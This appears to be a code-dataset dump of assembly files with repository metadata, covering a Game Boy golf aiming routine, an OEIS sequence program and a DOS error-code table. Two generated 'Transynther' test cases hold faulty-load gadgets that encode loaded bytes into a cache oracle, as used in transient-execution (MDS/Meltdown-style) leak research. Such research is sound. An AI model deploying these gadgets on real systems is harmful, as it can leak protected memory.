36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
30.013158
2,999
0.656181
46cdcbbf0200bad87832cdcabba584d90dac9d52
4,037
asm
Assembly
src/aim_arrow.asm
rondnelson99/bomb-golf
34c5fdd360086d415b9487d5a321c451997c7cba
[ "MIT" ]
1
2021-12-04T14:24:34.000Z
2021-12-04T14:24:34.000Z
src/aim_arrow.asm
rondnelson99/bomb-golf
34c5fdd360086d415b9487d5a321c451997c7cba
[ "MIT" ]
null
null
null
src/aim_arrow.asm
rondnelson99/bomb-golf
34c5fdd360086d415b9487d5a321c451997c7cba
[ "MIT" ]
null
null
null
INCLUDE "defines.asm" ARROW_DIRECTION_INIT equ $FF ;an arrow direction of $ff indicates that the direction needs to be initialized SECTION "Init Aim Arrow", ROM0 InitAimArrow:: ld hl, wArrowFacingDirection xor a ld [hl+], a ;facing up ld [hl], ARROW_DIRECTION_INIT ret SECTION "Clear Arrow Sprite", ROM0 ClearArrowSprite:: xor a ld [OBJ_ARROW], a ;zero the Y position ret SECTION "Check Aiming", ROM0 CheckAiming:: ;reads player input and adjusts the aiming direction if nescessary ldh a, [hHeldKeys] bit PADB_B, a jr nz, UpdateAimArrow ;if they're holding B, then the camera moves instead ldh a, [hPressedKeys] ld b, a ld hl, wArrowFacingDirection bit PADB_LEFT, b jr z, .notLeft .left ld a, [hl] dec a ;move counterclockwise one direction and $0f ;mod 16 ld [hl], a jr UpdateAimArrow ;they can't press left and right at the same time, so we're done here .notLeft bit PADB_RIGHT, b jr z, .notRight .right ld a, [hl] inc a ;move clockwise one direction and $0f ;mod 16 ld [hl], a .notRight UpdateAimArrow:: ;draws an arrow from the golf ball in whatever ditection it's facing ;check if the tile in VRAM needs updating ld hl, wArrowFacingDirection ld a, [hl+] cp [hl] ;is the current direction equal to the old direction? jr z, .doneUpdateTile .updateTile ;if not, replce the arrow tile in VRAM ; a contains the desired arrow facing direction ld [hl], a ; we're updating it, wo set wOldArrowDirection to the new one swap a ; multiply by 16 to get the offset within the tile area ld e, a ;low byte of the tile data pointer ld d, HIGH(ArrowTiles) assert LOW(ArrowTiles) == 0 ; de now pints to the desired tile ld hl, $8000 + SPRITE_ARROW * 16 ;pointer to the arrow location in VRAM ld c, 16 ;copy 1 tile call LCDMemcpySmall ;write the tile .doneUpdateTile ld a, [wArrowFacingDirection] add a, a ;double it bc there are two bytes per entry ld l, a ld h, HIGH(ArrowPositionLUT) assert LOW(ArrowPositionLUT) == 0 ;now hl points to the the Y offset of the arrow, followed by X offset ld b, [hl] inc l ld c, [hl] ld hl, wBallY ;this is a 12.4 course-relative coordinate folloewd by the X coordinate ld de, OBJ_ARROW ;shadow OAM entry call RenderSprite124 ;render the sprite to shadow OAM ;now just write tile number and flags, which hl points to ld a, SPRITE_ARROW ;tile number ld [hl+], a ld [hl], 0 ;no special flags ret MACRO ArrowPosition ;arguments are relative to the center of the arrow db \1 - 4 db \2 - 4 ENDM SECTION "Arrow Position Table", ROM0, ALIGN[8] ArrowPositionLUT: ;table of Y and X offsets relative to the ball for each direction, plus the OAM offset ArrowPosition -8, 0 ;up ArrowPosition -8, 3 ArrowPosition -7, 5 ArrowPosition -3, 8 ArrowPosition 0, 8 ;right ArrowPosition 3, 8 ArrowPosition 5, 5 ArrowPosition 7, 4 ArrowPosition 8, 0 ;down ArrowPosition 8, -3 ArrowPosition 6, -6 ArrowPosition 3, -8 ArrowPosition 0, -8 ;left ArrowPosition -3, -8 ArrowPosition -6, -6 ArrowPosition -8, -4 SECTION "Arrow Tiles", ROM0, ALIGN[8] ; the data is 256 bytes so alignment should be basically free ArrowTiles: INCBIN "res/arrows.2bpp" ;16 tiles, one for each direction 0 (straight up) clockwse to 15 (upwards angled left) SECTION "Arrow Variables", WRAM0 wArrowFacingDirection:: ; This can be written to by other parts of the code to change the direction that the arrow is facing db ;stores a direction from 0 (straight up) clockwse to 15 (upwards angled left) wOldArrowDirection: ;this is used to ckeck if the direction has changed (and a new tile needs to be copied into VRAM) db ;$FF indicates that the direction needs to be initialized
31.294574
125
0.667823
33a2442547be1695b72171fd5e05a9d1fda819d7
167
asm
Assembly
home/random.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
home/random.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
home/random.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
Random:: ; Return a random number in a. ; For battles, use BattleRandom. push hl push de push bc farcall Random_ ldh a, [hRandomAdd] pop bc pop de pop hl ret
12.846154
32
0.700599
fe01d0f4bfd032e354d88d2d56830b55584fff95
5,005
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2451.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2451.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2451.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r8 push %rbx push %rdx push %rsi lea addresses_A_ht+0x10501, %r14 nop nop nop nop nop dec %r10 movl $0x61626364, (%r14) nop sub $42758, %r10 lea addresses_UC_ht+0x11021, %r13 nop nop nop nop cmp %rdx, %rdx movb (%r13), %bl nop nop xor $54854, %rbx lea addresses_A_ht+0xc61, %r8 and $43115, %rsi mov (%r8), %r13w nop nop nop nop cmp $41121, %rsi lea addresses_WT_ht+0x2d71, %r10 sub %rsi, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm7 vmovups %ymm7, (%r10) nop dec %r13 lea addresses_WT_ht+0x14c98, %r13 nop nop nop nop cmp $5875, %rdx mov (%r13), %r14w nop sub $18149, %rsi pop %rsi pop %rdx pop %rbx pop %r8 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %rbp push %rdx push %rsi // Faulty Load lea addresses_PSE+0x321, %r15 nop nop add $31881, %rsi movntdqa (%r15), %xmm2 vpextrq $0, %xmm2, %rdx lea oracles, %rsi and $0xff, %rdx shlq $12, %rdx mov (%rsi,%rdx,1), %rdx pop %rsi pop %rdx pop %rbp pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
48.125
2,999
0.658342
3f5307693ffdf4604bf9f1206dd4d525f9439ba8
824
asm
Assembly
oeis/142/A142318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142318: Primes congruent to 13 mod 45. ; Submitted by Jon Maiga ; 13,103,193,283,373,463,643,733,823,1093,1453,1543,1723,1993,2083,2713,2803,3163,3253,3343,3433,3613,3793,4153,4243,4423,4513,4603,4783,5233,5323,5413,5503,5683,5953,6043,6133,6673,6763,7213,7393,7573,7753,7933,8293,8563,8923,9013,9103,9283,9463,9643,9733,10093,10273,10453,10723,10903,10993,11083,11173,11353,11443,12073,12163,12253,12343,12433,12613,12703,12973,13063,13513,13693,13873,13963,14143,14323,14503,14593,14683,15313,15493,15583,16033,16573,16843,17203,17293,17383,17923,18013,18553 mov $1,6 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,45 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,89
34.333333
496
0.723301
76fb370a1efbddfe274f62742049e9056b4aeebf
2,237
asm
Assembly
rom/dos/errors.asm
hisahi/ellipse1100
930588825d8cc3ad3b069269ff9d596022f84d02
[ "Zlib" ]
null
null
null
rom/dos/errors.asm
hisahi/ellipse1100
930588825d8cc3ad3b069269ff9d596022f84d02
[ "Zlib" ]
null
null
null
rom/dos/errors.asm
hisahi/ellipse1100
930588825d8cc3ad3b069269ff9d596022f84d02
[ "Zlib" ]
null
null
null
; Ellipse Workstation 1100 (fictitious computer) ; Ellipse DOS error codes ; ; Copyright (c) 2020 Sampo Hippeläinen (hisahi) ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; Written for the WLA-DX assembler ; .DEFINE DOS_ERR_NO_ERR $00.W .DEFINE DOS_ERR_UNK_FUNCTION $01.W .DEFINE DOS_ERR_BAD_FILE_HANDLE $02.W .DEFINE DOS_ERR_FILE_NOT_FOUND $03.W .DEFINE DOS_ERR_VOLUME_NOT_FOUND $04.W .DEFINE DOS_ERR_BAD_PATH $05.W .DEFINE DOS_ERR_DRIVE_NOT_READY $06.W .DEFINE DOS_ERR_NO_MORE_HANDLES $07.W .DEFINE DOS_ERR_ACCESS_DENIED $08.W .DEFINE DOS_ERR_OUT_OF_MEMORY $09.W .DEFINE DOS_ERR_DRIVE_FULL $0A.W .DEFINE DOS_ERR_FILE_OPEN $0B.W .DEFINE DOS_ERR_FILE_NOT_EXEC $0C.W .DEFINE DOS_ERR_NO_MORE_FILES $0D.W .DEFINE DOS_ERR_BAD_PARAMETER $0E.W .DEFINE DOS_ERR_PATH_NOT_FOUND $0F.W .DEFINE DOS_ERR_DOS_BUSY $10.W .DEFINE DOS_ERR_INVALID_DRIVE $11.W .DEFINE DOS_ERR_IO_ERROR $12.W .DEFINE DOS_ERR_READ_ERROR $13.W .DEFINE DOS_ERR_WRITE_ERROR $14.W .DEFINE DOS_ERR_EXEC_TOO_LARGE $15.W .DEFINE DOS_ERR_CANNOT_SEEK $16.W .DEFINE DOS_ERR_CREATE_ERROR $17.W
43.862745
81
0.734466
091cde7e6b3b5371c5e81f3f116dab368a7be293
9,365
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5065_1662.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5065_1662.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5065_1662.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1a51, %rdi nop nop nop and $4461, %r10 movups (%rdi), %xmm4 vpextrq $1, %xmm4, %r11 nop nop nop cmp $41214, %r12 lea addresses_A_ht+0x1851, %rsi lea addresses_UC_ht+0x191e1, %rdi nop nop dec %r15 mov $25, %rcx rep movsl nop nop nop nop nop lfence lea addresses_normal_ht+0xf451, %rsi nop and $53604, %rcx mov $0x6162636465666768, %r10 movq %r10, %xmm5 vmovups %ymm5, (%rsi) nop nop xor $24387, %r10 lea addresses_A_ht+0x9451, %rsi lea addresses_UC_ht+0x1784c, %rdi nop xor %rbx, %rbx mov $94, %rcx rep movsw xor $55717, %rdi lea addresses_A_ht+0x8c51, %rbx add $13548, %r11 mov (%rbx), %r10d nop nop nop nop nop and $55675, %rcx lea addresses_A_ht+0x7611, %rbx and $15681, %r11 vmovups (%rbx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r15 nop nop nop nop xor $46655, %rdi lea addresses_WT_ht+0x10d31, %rsi and %rcx, %rcx mov (%rsi), %r11w nop nop add $54206, %r11 lea addresses_D_ht+0xbe51, %rsi lea addresses_A_ht+0x11051, %rdi nop nop xor %r11, %r11 mov $95, %rcx rep movsl nop nop nop nop add %rcx, %rcx lea addresses_UC_ht+0x108e1, %rsi nop nop add $29842, %r11 mov (%rsi), %ebx nop nop nop nop and $59565, %r12 lea addresses_normal_ht+0x7a71, %rdi nop nop add $63802, %r10 mov $0x6162636465666768, %r15 movq %r15, %xmm0 and $0xffffffffffffffc0, %rdi vmovntdq %ymm0, (%rdi) nop nop nop nop nop sub $49212, %r10 lea addresses_normal_ht+0x121d1, %rsi lea addresses_normal_ht+0x1e091, %rdi nop nop nop nop nop and %rbx, %rbx mov $3, %rcx rep movsw nop cmp $56146, %rcx lea addresses_UC_ht+0x1a491, %rsi lea addresses_WC_ht+0x16839, %rdi nop nop nop nop nop xor $59497, %r12 mov $80, %rcx rep movsb nop nop nop nop xor $26167, %rbx lea addresses_WT_ht+0x1395e, %r15 nop nop nop nop sub %r12, %r12 mov (%r15), %rsi cmp %r15, %r15 lea addresses_D_ht+0x191a7, %rsi lea addresses_UC_ht+0x121dd, %rdi nop nop sub %r12, %r12 mov $66, %rcx rep movsq nop nop nop nop inc %r15 lea addresses_D_ht+0xc51, %rsi lea addresses_D_ht+0x15831, %rdi nop nop nop nop and $16306, %r12 mov $62, %rcx rep movsw nop nop nop nop nop add $59619, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r9 push %rax push %rbx push %rdi // Load lea addresses_PSE+0x1c651, %rdi nop nop nop nop and %r11, %r11 movups (%rdi), %xmm6 vpextrq $0, %xmm6, %rbx nop nop nop xor $7539, %rdi // Store lea addresses_PSE+0x1407c, %r9 clflush (%r9) add %r12, %r12 mov $0x5152535455565758, %rbx movq %rbx, %xmm5 vmovups %ymm5, (%r9) nop cmp %rax, %rax // Load lea addresses_US+0x1ef31, %r11 nop nop nop nop nop sub %r15, %r15 vmovups (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r12 sub $24940, %rbx // Store lea addresses_RW+0x18351, %r9 nop nop add %rax, %rax mov $0x5152535455565758, %r15 movq %r15, %xmm5 vmovups %ymm5, (%r9) nop nop nop nop nop dec %r12 // Store lea addresses_normal+0x1c451, %r12 nop sub $25375, %rbx mov $0x5152535455565758, %r9 movq %r9, (%r12) nop nop nop nop and %r15, %r15 // Faulty Load lea addresses_A+0xbc51, %r15 nop nop add $9488, %rdi mov (%r15), %ebx lea oracles, %r9 and $0xff, %rbx shlq $12, %rbx mov (%r9,%rbx,1), %rbx pop %rdi pop %rbx pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'00': 5065} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
30.504886
2,999
0.657234
31ff8e380dc3c02af30f72e8c5429c1fa9c5a45a
219
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc/zx_aaddr2saddr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
